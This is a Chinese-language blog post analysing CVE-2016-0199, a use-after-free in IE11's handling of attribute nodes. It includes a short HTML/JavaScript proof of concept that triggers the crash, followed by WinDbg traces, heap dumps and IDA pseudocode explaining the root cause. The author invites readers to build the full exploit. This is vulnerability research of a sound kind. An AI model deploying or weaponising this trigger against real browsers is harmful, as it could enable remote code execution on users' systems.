[MS16-063]IE11浏览器释放后重用漏洞

作者:k0shl 转载请注明出处:https://whereisk0shl.top


漏洞说明


这次博客更新到之前分析过的一个ie11的use after free,CVE编号是CVE-2016-0199,一个比较典型的释放后重用漏洞,存在问题的object是IE9以后引用的一个新特性,这里我提供一个可以触发漏洞的PoC,IE版本使用16年之前的就可以,感兴趣的读者可以尝试写一下exploit。

PoC:

<meta http-equiv="X-UA-Compatible" content="IE-7">
<script>
oElement = document.createElement("IMG");
var oAttr = document.createAttribute("loop");
oAttr.nodeValue = oElement;
oElement.loop = 0x41424344;
oElement.setAttributeNode(oAttr);
oElement.removeAttributeNode(oAttr);
CollectGarbage();
</script>

漏洞复现


Attribute可能是IE9之后新添加的特性,在IE8并没有触发这个漏洞,原因是没有Attribute这个特性,在Attribute处理节点时,当调用removeAttributeNode函数移除Attrbute结构体的时候,由于对其中某属性没有进行判断,导致移除后会由另一个子节点的同属性进行占位,而后续会再次引用到这个节点指针,但是这个指针已经被移除,却没有进行判断,而由另一个节点占位,从而导致控制子节点属性会导致代码执行。下面对此漏洞进行详细分析。

首先打开构造的PoC而已页面,IE11崩溃,附加windbg,到达漏洞现场。

(fe8.450): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=41424344 ebx=00000001 ecx=00000039 edx=02acbb94 esi=41424344 edi=01e7db90
eip=694b8113 esp=02acbb88 ebp=02acbba0 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
jscript9!DListBase<CustomHeap::Page>::DListBase<CustomHeap::Page>+0x8e68c:
694b8113 8b08            mov     ecx,dword ptr [eax]  ds:0023:41424344=????????

可见此时eax的值为41424344,是一处无效的地址,而此时的mov操作很有可能是一处指针赋值操作,而41424344根据构造PoC情况,是代码

oElement.loop = 0x41424344

应该是IMG类型的节点中的一个名为loop的属性,此时引用的是它,通过kb回看一下堆栈调用情况。

0:007> kb
ChildEBP RetAddr  Args to Child              
02acbba0 66c02813 01e8dbf0 01e7db90 41424344 jscript9!DListBase<CustomHeap::Page>::DListBase<CustomHeap::Page>+0x8e68c
02acbbc0 66c0283f 01e7db90 00000001 02acbbe8 MSHTML!CAttribute::EnumerateTrackedObjects+0x5b
02acbbd0 6684098f 01e7db90 01e854f0 7745d816 MSHTML!CAttribute::EnumerateTrackedReferences+0x21
02acbbe8 6931f7e5 003e436c 01e7db90 02acbc40 MSHTML!CRootTracker::EnumerateTrackedObjects+0x7f

到达漏洞触发前,调用了CAttribute类中的EnumrateTrackedObjects函数,就由此函数入手,分析一下整个漏洞的成因。

在漏洞分析时,由于回溯的过程有大量的重新附加过程,由于ASLR的存在,导致每次地址都会稍有不同,具体的名称以我文字描述为准。


漏洞分析


这里我省略一些回溯过程,直接看漏洞的形成过程,到最后反过来看就能知道我回溯的过程了,首先在回溯过程中,我发现了一处有意思的指针,通过gflags,可以观察到指针的创建过程。

0:007> !heap -p -a 07a00fa0
    address 07a00fa0 found in
    _DPH_HEAP_ROOT @ 221000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                 79e1618:          7a00fa0               60 -          7a00000             2000
          MSHTML!CAttribute::`vftable'
    6ef68e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
    775b5ede ntdll!RtlDebugAllocateHeap+0x00000030
    7757a40a ntdll!RtlpAllocateHeap+0x000000c4
    77545ae0 ntdll!RtlAllocateHeap+0x0000023a
    6399203e MSHTML!CDocument::CreateAttributeHelper+0x00000054
    63995a11 MSHTML!CDocument::VersionedCreateAttribute+0x00000029
    639968e3 MSHTML!CDocument::createAttribute+0x00000016

可见这个指针时CAttribute的虚表指针,而观察整个创建过程,在639968e3位置调用了createAttribute函数,在这个函数下断点跟踪。

0:021> g
Breakpoint 0 hit
eax=0562b8b4 ebx=00000200 ecx=657568cd edx=04554fd8 esi=65d1cdc4 edi=0562b8ac
eip=657568cd esp=0562b5a0 ebp=0562b5c8 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
MSHTML!CDocument::createAttribute:
657568cd 8bff            mov     edi,edi
0:007> gu
eax=00000000 ebx=00000200 ecx=0d2d2fd8 edx=0454cfa0 esi=65d1cdc4 edi=0562b8ac
eip=6537b187 esp=0562b5b0 ebp=0562b5c8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
MSHTML!Method_IDispatchpp_BSTR+0x6f:
6537b187 8bf0            mov     esi,eax

指针返回后会将CAtrribute的虚表返回

0:007> dps 07a00fa0
07a00fa0  630a3e88 MSHTML!CAttribute::`vftable'
07a00fa4  00000001
07a00fa8  00000000
07a00fac  00000010
07a00fb0  00000000

接下来在虚表的某个偏移位置,会创建一个指针变量,来看一下这个指针变量。

0:007> ba w1 05d1cfd0
0:007> g
Breakpoint 2 hit
eax=00000009 ebx=05d1cfc8 ecx=00000009 edx=07042fd8 esi=04e5b57c edi=05d1cfd4
eip=75a74952 esp=04e5b538 ebp=04e5b548 iopl=0         nv up ei ng nz na po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000283
OLEAUT32!VariantCopy+0x149:
75a74952 a5              movs    dword ptr es:[edi],dword ptr [esi] es:0023:05d1cfd4=00000000 ds:0023:04e5b57c=65ce6a3c
0:007> dps 05d1cfa0
05d1cfa0  62ca3e88 MSHTML!CAttribute::`vftable'
05d1cfa4  00000003
05d1cfa8  00000000
05d1cfac  00000008
05d1cfb0  00000000
05d1cfb4  06d00208
05d1cfb8  00000000
05d1cfbc  00000000
05d1cfc0  ffffffff
05d1cfc4  05791ff4
05d1cfc8  06d00009
05d1cfcc  06cf4080
05d1cfd0  05721fa8
05d1cfd4  00000000
05d1cfd8  0595efb0

虽然有ASLR存在,但是相对虚表偏移是不会变的,在这个位置下内存写入断点,直接执行,可以看到程序中断时,该偏移处保存了一个指针05721fa8,通过gflags观察这个指针的创建过程。

0:007> !heap -p -a 05721fa8
    address 05721fa8 found in
    _DPH_HEAP_ROOT @ 201000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                 55b271c:          5721fa8               54 -          5721000             2000
          MSHTML!CImgElement::`vftable'
    6f598e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
    775b5ede ntdll!RtlDebugAllocateHeap+0x00000030
    7757a40a ntdll!RtlpAllocateHeap+0x000000c4
    77545ae0 ntdll!RtlAllocateHeap+0x0000023a
    62e40e98 MSHTML!CImgElement::CreateElement+0x00000015

可以看到,这个指针是一处名为CImgElement的虚表指针,观察PoC,这个就是oElement创建的IMG对象的指针,而在nodeValue中会将oElement链接上,也就形成了上述的步骤。

而通过之前的回溯,可以发现被覆盖的正是这处CImgElement指针,于是利用这个内存写入断点继续执行,程序会再次命中。

0:007> g
Breakpoint 2 hit
eax=41424344 ebx=05d1cfc8 ecx=00000001 edx=80070057 esi=00000000 edi=00000008
eip=62e73886 esp=04e5b288 ebp=04e5b338 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
MSHTML!HandleGetPropertyHelper<long,CHandleIntegerPropertyHelper>+0x532:
62e73886 e9cbaaf9ff      jmp     MSHTML!HandleGetPropertyHelper<long,CHandleIntegerPropertyHelper>+0x20e (62e0e356)

这时候查看CAttribute虚表结构。

0:007> dps 05d1cfa0
05d1cfa0  62ca3e88 MSHTML!CAttribute::`vftable'
05d1cfa4  00000004
05d1cfa8  00000001
05d1cfac  00000010
05d1cfb0  00000000
05d1cfb4  06d00209
05d1cfb8  00000000
05d1cfbc  62e0a230 MSHTML!s_propdescCImgElementloop
05d1cfc0  000003f3
05d1cfc4  05791ff4
05d1cfc8  06d00003
05d1cfcc  06cf4080
05d1cfd0  41424344
05d1cfd4  65ce6a3c jscript9!DListBase<CustomHeap::Page>::DListBase<CustomHeap::Page>+0x1c94

刚才的位置的CImgElement已经变成了41424344,被oElement.loop占位,通过kb回溯。

0:007> kb
ChildEBP RetAddr  Args to Child              
04e5b338 62e0e370 0c000004 05d1cfc8 05721fa8 MSHTML!HandleGetPropertyHelper<long,CHandleIntegerPropertyHelper>+0x532
04e5b364 62e01643 62e0a230 0c000004 05d1cfc8 MSHTML!PROPERTYDESC::HandleNumProperty+0x4a
04e5b38c 62e80f09 62e0a230 00000000 07042fd8 MSHTML!CBase::get_PropertyHelper+0x45
04e5b3a0 62f8c6a2 05721fa8 05d1cfc8 04e5b500 MSHTML!CBase::get_Property+0x24
04e5b3d8 6309136b 05721fa8 00000000 07042fd8 MSHTML!GS_VARIANT+0x48
04e5b46c 63092ca7 00000804 00000002 04e5b500 MSHTML!CBase::ContextInvokeEx+0x2b6
04e5b494 631c1576 05721fa8 000003f3 00000804 MSHTML!CElement::ContextInvokeEx+0x4c
04e5b4c0 6320a29f 05721fa8 000003f3 00000804 MSHTML!CImgElement::VersionedInvokeEx+0x49
04e5b514 63595d7c 05d1cfc8 04e5b5a0 05721fa8 MSHTML!CAttribute::get_nodeValue+0xad
04e5b534 63595e0f 04e5b56c 05d1cfa0 04e5b574 MSHTML!CAttribute::VersionedGetSpecifiedHelper+0x258
04e5b58c 6359a207 00000001 05791ff4 04e5b5b4 MSHTML!CElement::VersionedRemoveAttributeNode+0x5e
04e5b5bc 631c15f9 05721fa8 05d1cfa0 04e5b660 MSHTML!CElement::removeAttributeNode+0x57

在最后位置看到了一个比较有意思的函数removeAttributeNode,正是PoC中最后调用的位置,跟踪这个函数。

__int32 __stdcall CElement::removeAttributeNode(CElement *this, struct IHTMLDOMAttribute *a2, struct IHTMLDOMAttribute **a3)
{
  __int32 v3; // esi@1
  struct _GUID v4; // ST04_16@2
  int v5; // eax@3
  CBase *v6; // edi@3
  void **v8; // [sp+4h] [bp-14h]@2
  int v9; // [sp+10h] [bp-8h]@1
  CBase *v10; // [sp+14h] [bp-4h]@1

  v3 = 0;
  v9 = 0;
  v10 = 0;
  *a3 = 0;
  if ( a2 )
  {
    *(_QWORD *)&v4.Data1 = *(_QWORD *)&CLSID_CAttribute.Data2;
    *(_DWORD *)&v4.Data4[0] = *(_DWORD *)&CLSID_CAttribute.Data4[4];
    v3 = QIClassID((struct IUnknown *)CLSID_CAttribute.Data1, v4, v8);
    if ( v9 )
    {
      v5 = CElement::VersionedRemoveAttributeNode(this, 1, *(_DWORD *)(v9 + 36), &v10);
      v6 = v10;
      v3 = v5;
      if ( v10 )
      {
        CAttribute::PrivateQueryInterface(v10, &IID_IHTMLDOMAttribute, (void **)a3);
        CBase::PrivateRelease(v6);
      }
    }
  }
  if ( v3 < 0 )
    v3 = CBase::WriteErrorInfo(this, v3);
  return v3;
}

直接跟入这个函数查看虚表结构。

0:007> p
eax=050fb8b0 ebx=00000200 ecx=0aa9afa0 edx=00000001 esi=6535f414 edi=050fb8a8
eip=6575a1be esp=050fb7fc ebp=050fb80c iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
MSHTML!CElement::removeAttributeNode+0xe:
6575a1be 53              push    ebx
0:007> dps ecx
0aa9afa0  64e63e88 MSHTML!CAttribute::`vftable'
0aa9afa4  00000003
0aa9afa8  00000001
0aa9afac  00000010
0aa9afb0  00000000
0aa9afb4  07270209
0aa9afb8  00000000
0aa9afbc  64fca230 MSHTML!s_propdescCImgElementloop
0aa9afc0  000003f3
0aa9afc4  0aa9cff4
0aa9afc8  07270009
0aa9afcc  07264080
0aa9afd0  0a325fa8
0aa9afd4  67196a3c jscript9!DListBase<CustomHeap::Page>::DListBase<CustomHeap::Page>+0x1c94

此时结构还未被覆盖,接下来单步跟踪,不断步入可以到达一个函数。

HandleGetPropertyHelper<long,CHandleIntegerPropertyHelper>

这个函数中,会获取父节点的属性,随后直接进行占位。

0:007> p
eax=00000000 ebx=06948fc8 ecx=00000001 edx=80070057 esi=00000000 edi=00000008
eip=6503387a esp=055cb8c8 ebp=055cb978 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
MSHTML!HandleGetPropertyHelper<long,CHandleIntegerPropertyHelper>+0x526:
6503387a 6a03            push    3
0:007> p
eax=00000000 ebx=06948fc8 ecx=00000001 edx=80070057 esi=00000000 edi=00000008
eip=6503387c esp=055cb8c4 ebp=055cb978 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
MSHTML!HandleGetPropertyHelper<long,CHandleIntegerPropertyHelper>+0x528:
6503387c 58              pop     eax
0:007> p
eax=00000003 ebx=06948fc8 ecx=00000001 edx=80070057 esi=00000000 edi=00000008
eip=6503387d esp=055cb8c8 ebp=055cb978 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
MSHTML!HandleGetPropertyHelper<long,CHandleIntegerPropertyHelper>+0x529:
6503387d 668903          mov     word ptr [ebx],ax        ds:0023:06948fc8=0000
0:007> p
eax=00000003 ebx=06948fc8 ecx=00000001 edx=80070057 esi=00000000 edi=00000008
eip=65033880 esp=055cb8c8 ebp=055cb978 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
MSHTML!HandleGetPropertyHelper<long,CHandleIntegerPropertyHelper>+0x52c:
65033880 8b45a4          mov     eax,dword ptr [ebp-5Ch] ss:0023:055cb91c=41424344
0:007> p
eax=41424344 ebx=06948fc8 ecx=00000001 edx=80070057 esi=00000000 edi=00000008
eip=65033883 esp=055cb8c8 ebp=055cb978 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
MSHTML!HandleGetPropertyHelper<long,CHandleIntegerPropertyHelper>+0x52f:
65033883 894308          mov     dword ptr [ebx+8],eax ds:0023:06948fd0=0a5d5fa8
0:007> dd poi(ebx+8)
0a5d5fa8  65000ee4 00000005 00000000 00000010
0a5d5fb8  09664ff0 04ff0168 00000000 00000000
0a5d5fc8  0000003d 00400400 40000000 00000040
0a5d5fd8  0a5bdfe0 00000000 00000000 00000000
0a5d5fe8  00000000 00000000 066f0f90 00000000
0a5d5ff8  00000000 d0d0d0d0 ???????? ????????
0a5d6008  ???????? ???????? ???????? ????????
0a5d6018  ???????? ???????? ???????? ????????
0:007> dd ebx
06948fc8  04ff0003 04fe4080 0a5d5fa8 63306a3c
06948fd8  0644cfb0 0a5d5fa8 0aae6bd8 0a5bdfe0
06948fe8  00000000 00000000 ffffffff ffffffff
06948ff8  ffffffff 0000000c ???????? ????????
06949008  ???????? ???????? ???????? ????????
06949018  ???????? ???????? ???????? ????????
06949028  ???????? ???????? ???????? ????????
06949038  ???????? ???????? ???????? ????????
0:007> p
eax=41424344 ebx=06948fc8 ecx=00000001 edx=80070057 esi=00000000 edi=00000008
eip=65033886 esp=055cb8c8 ebp=055cb978 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
MSHTML!HandleGetPropertyHelper<long,CHandleIntegerPropertyHelper>+0x532:
65033886 e9cbaaf9ff      jmp     MSHTML!HandleGetPropertyHelper<long,CHandleIntegerPropertyHelper>+0x20e (64fce356)
0:007> dd ebx
06948fc8  04ff0003 04fe4080 41424344 63306a3c
06948fd8  0644cfb0 0a5d5fa8 0aae6bd8 0a5bdfe0

删除节点后会进行占位,占位之后就会到达漏洞触发部分,来看一下这两部分的关键代码。

首先外层函数调用。

.text:63E7281E ; public: virtual void __thiscall CAttribute::EnumerateTrackedReferences(void *)
.text:63E7281E ?EnumerateTrackedReferences@CAttribute@@UAEXPAX@Z proc near
.text:63E7281E                 mov     edi, edi
.text:63E72820                 push    ebp
.text:63E72821                 mov     ebp, esp
.text:63E72823                 push    esi
.text:63E72824                 mov     esi, ecx
.text:63E72826                 mov     ecx, [esi+10h]
.text:63E72829                 test    ecx, ecx
.text:63E7282B                 jz      short loc_63E72835
.text:63E7282D                 push    dword ptr [ebp+8]
.text:63E72830                 call    ?EnumerateTrackedObjects@CAttrArray@@AAEXPAX@Z ; CAttrArray::EnumerateTrackedObjects(void *)
.text:63E72835
.text:63E72835 loc_63E72835:                           ; CODE XREF: CAttribute::EnumerateTrackedReferences(void *)+Dj
.text:63E72835                 push    dword ptr [ebp+8]
.text:63E72838                 mov     ecx, esi
.text:63E7283A                 call    ?EnumerateTrackedObjects@CAttribute@@UAEXPAX@Z ; CAttribute::EnumerateTrackedObjects(void *)
.text:63E7283F                 pop     esi
.text:63E72840                 pop     ebp
.text:63E72841                 retn    4

进入内层。

.text:1022810B loc_1022810B:                           ; CODE XREF: JavascriptThreadService::EnumerateTrackingClient(void *,IUnknown *,int)+1Dj
.text:1022810B                 mov     eax, [ebp+arg_8]
.text:1022810E                 lea     edx, [ebp+var_C]
.text:10228111                 push    edx
.text:10228112                 push    eax
.text:10228113                 mov     ecx, [eax]

看看漏洞触发部分的IDA伪代码。

int __stdcall JavascriptThreadService::EnumerateTrackingClient(JavascriptThreadService *this, Recycler *a2, struct IUnknown *a3, struct FinalizableObject *a4)
  v4 = ThreadContext::GetContextForCurrentThread();
  v5 = a2;
  if ( *((Recycler **)v4 + 80) == a2 )
  {
    if ( !a4 )
    {
      Recycler::TryMarkInterior(a2, a3);
      return 0;
    }
        result = ((int (__stdcall *)(struct IUnknown *, int *))a3->lpVtbl[5].Release)(a3, &v28);

最后漏洞触发部分引用的是a3结构体的lpVtbl变量的release函数,这个a3在函数部分是作为第三个参数传入,是一个IUnknown型的结构体,实际上这个结构体就是CAttribute,而lpVtble本应试CImgElement对象,但是由于之前的removeAttributeNode时占位,导致这个对象被占位,而在这个过程并没有对删除节点后标记或者进行判断,从而导致了引用这个指针,可以引发远程代码执行。

Comments
Write a Comment